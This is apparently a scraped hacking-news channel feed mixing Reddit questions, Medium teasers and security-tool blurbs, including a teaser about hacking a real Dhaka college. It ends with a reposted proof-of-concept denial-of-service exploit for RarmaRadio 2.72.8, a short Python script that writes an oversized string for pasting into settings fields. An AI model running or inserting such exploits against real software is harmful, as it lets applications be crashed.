hacking: security in practice
Trying to use OWASP ZAP, but "Launch Browser button doesn't work in Automated Scan or Manual Explore

I'm using Pop!_OS linux on an acer laptop and trying to attack the site for a tutorial online (overthewire natas) that is meant for practice with every type of hacking. All updates related to owasp zap are installed firefox is up to date, but google chrome is not installed(and I'd like to keep it that way unless it proves to be the only way of solving my current dilemma)

When I try Automated scan the text at the bottom at the window division says "Failed to attack URL: received a 401 response code, expected 200". That's what happens when I use both traditional spider and ajax spider with firefox(headless and regular, along with every other option).

When I try Manual Explore, nothing simply happens, I press Launch Browser and the screen doesn't change.

submitted by /u/ye_sh1thead
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How I Hacked Dhaka University affiliated 7C.

https://cdn-images-1.medium.com/max/1222/1*0Bf0cKUWfHJxFwcIxRtdbQ.png
Assalamu alaykum,
I am Mahim Safa, a student of Dhaka College. There are 7 colleges part of Dhaka University. Those are:

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Checklist: What Should Be Considered When Ordering a Pentest
https://www.reddit.com/r/Pentesting/comments/nlfjou/checklist_what_should_be_considered_when_ordering/

There is an interesting article about choosing a pentest service provider.
What do you think about it?
https://hexwayteam.medium.com/checklist-what-should-be-considered-when-ordering-a-pentest-e1ac52347119 submitted by /u/HexwayTeam (https://www.reddit.com/user/HexwayTeam)
[link] (https://www.reddit.com/r/Pentesting/comments/nlfjou/checklist_what_should_be_considered_when_ordering/) [comments] (https://www.reddit.com/r/Pentesting/comments/nlfjou/checklist_what_should_be_considered_when_ordering/)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
5 Reasons Why Web Security Matters

You might lead an active online life. Perhaps you spend a ton of time on sites like YouTube, Facebook, or Reddit. You might watch videos, post to social media, chat with your friends, or shop on sites like Etsy, eBay, and Amazon. This sounds like the average American these days. More people have internet access […]

The post 5 Reasons Why Web Security Matters appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Snuffleupagus : Security Module For Php7 And Php8 – Killing Bugclasses And Virtual-Patching The Rest

Snuffleupagus is a PHP 7+ and 8+ module designed to drastically raise the cost of attacks against websites, by killing entire bug classes. It also provides a powerful virtual-patching system, allowing administrator to fix specific vulnerabilities and audit suspicious behaviours without having to touch the PHP code. Key Features No noticeable performance impact Powerful yet simple to write […]

The post Snuffleupagus : Security Module For Php7 And Php8 – Killing Bugclasses And Virtual-Patching The Rest appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Mubeng : An Incredibly Fast Proxy Checker And IP Rotator With Ease

Mubeng is an incredibly fast proxy checker & IP rotator with ease. Features Proxy IP rotator: Rotates your IP address for every specific request. Proxy checker: Check your proxy IP which is still alive. All HTTP/S methods are supported. HTTP & SOCKSv5 proxy protocols apply. All parameters & URIs are passed. Easy to use: You can just […]

The post Mubeng : An Incredibly Fast Proxy Checker And IP Rotator With Ease appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
HTTPX : A Fast And Multi-Purpose HTTP Toolkit

HTTPX is a fast and multi-purpose HTTP toolkit allow to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads. Features Simple and modular code base making it easy to contribute. Fast And fully configurable flags to probe mutiple elements. Supports multiple HTTP based probings. Smart auto fallback from https […]

The post HTTPX : A Fast And Multi-Purpose HTTP Toolkit appeared first on Kali Linux Tutorials.

___________________________
@hacking_Attack
@Hacking_Video

Install Gxss on Kali Linux
https://medium.com/@sherlock297/install-gxss-on-kali-linux-b598e30e8be5?source=rss------bug_bounty-5

Install Gxss on Kali LinuxContinue reading on Medium » (https://medium.com/@sherlock297/install-gxss-on-kali-linux-b598e30e8be5?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Satellites

Has anyone ever taken over a satellite and ransomed it or used it against an adversary outside of penetration tests? It's probably easier to shoot them down but missles are expensive. I'm just tired of having to wear a Faraday cage around my head so I don't get programmed like the rest of you📡🛰️🏴‍☠️

submitted by /u/FullDeadQuiet
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
The making of the XOR cipher

submitted by /u/mathmare
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Which gmail is more secure?

Which gmail is more secure? An account with exposed purchase receipt with date(no order code) or a newborn gmail account?

submitted by /u/JaegarNY
[link] [comments]

hacking: security in practice
I want to hack tesvor x500

Hello there,

I know, the title might be misunderstood, but I don't know how to title my project.

I want to hack the Soundfiles on my Tesvor x500. I just want to swap them out, when there are existing Sounds for "charging started" or "intelligent cleaning".

Is there any possibility to "hack" myself in this robot via Wifi and swap some data?

When this is not the right subreddit, please point this out to me.

submitted by /u/Amorphiris
[link] [comments]

Exploit Collector
RarmaRadio 2.72.8 Denial Of Service

https://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png
RarmaRadio version 2.72.8 denial of service proof of concept exploit.

MD5 | e3972881c8a84c8b53c0c3119a4c0df4

Download
# Exploit Title: RarmaRadio 2.72.8 - Denial of Service (PoC)
# Date: 2021-05-25
# Exploit Author: Ismael Nava
# Vendor Homepage: http://www.raimersoft.com/
# Software Link: http://raimersoft.com/downloads/rarmaradio_setup.exe
# Version: 2.75.8
# Tested on: Windows 10 Home x64

#STEPS
# Open the program RarmaRadio
# Click in Edit and select Settings
# Click in Network option
# Run the python exploit script, it will create a new .txt files
# Copy the content of the file "Lambda.txt"
# Paste the content in the fields Username, Server, Port and User Agent
# Click in OK
# End :)
buffer = 'Ñ' * 100000

try:
file = open("Lambda.txt","w")
file.write(buffer)
file.close()

print("Archive ready")
except:
print("Archive no ready")


Source:packetstormsecurity.com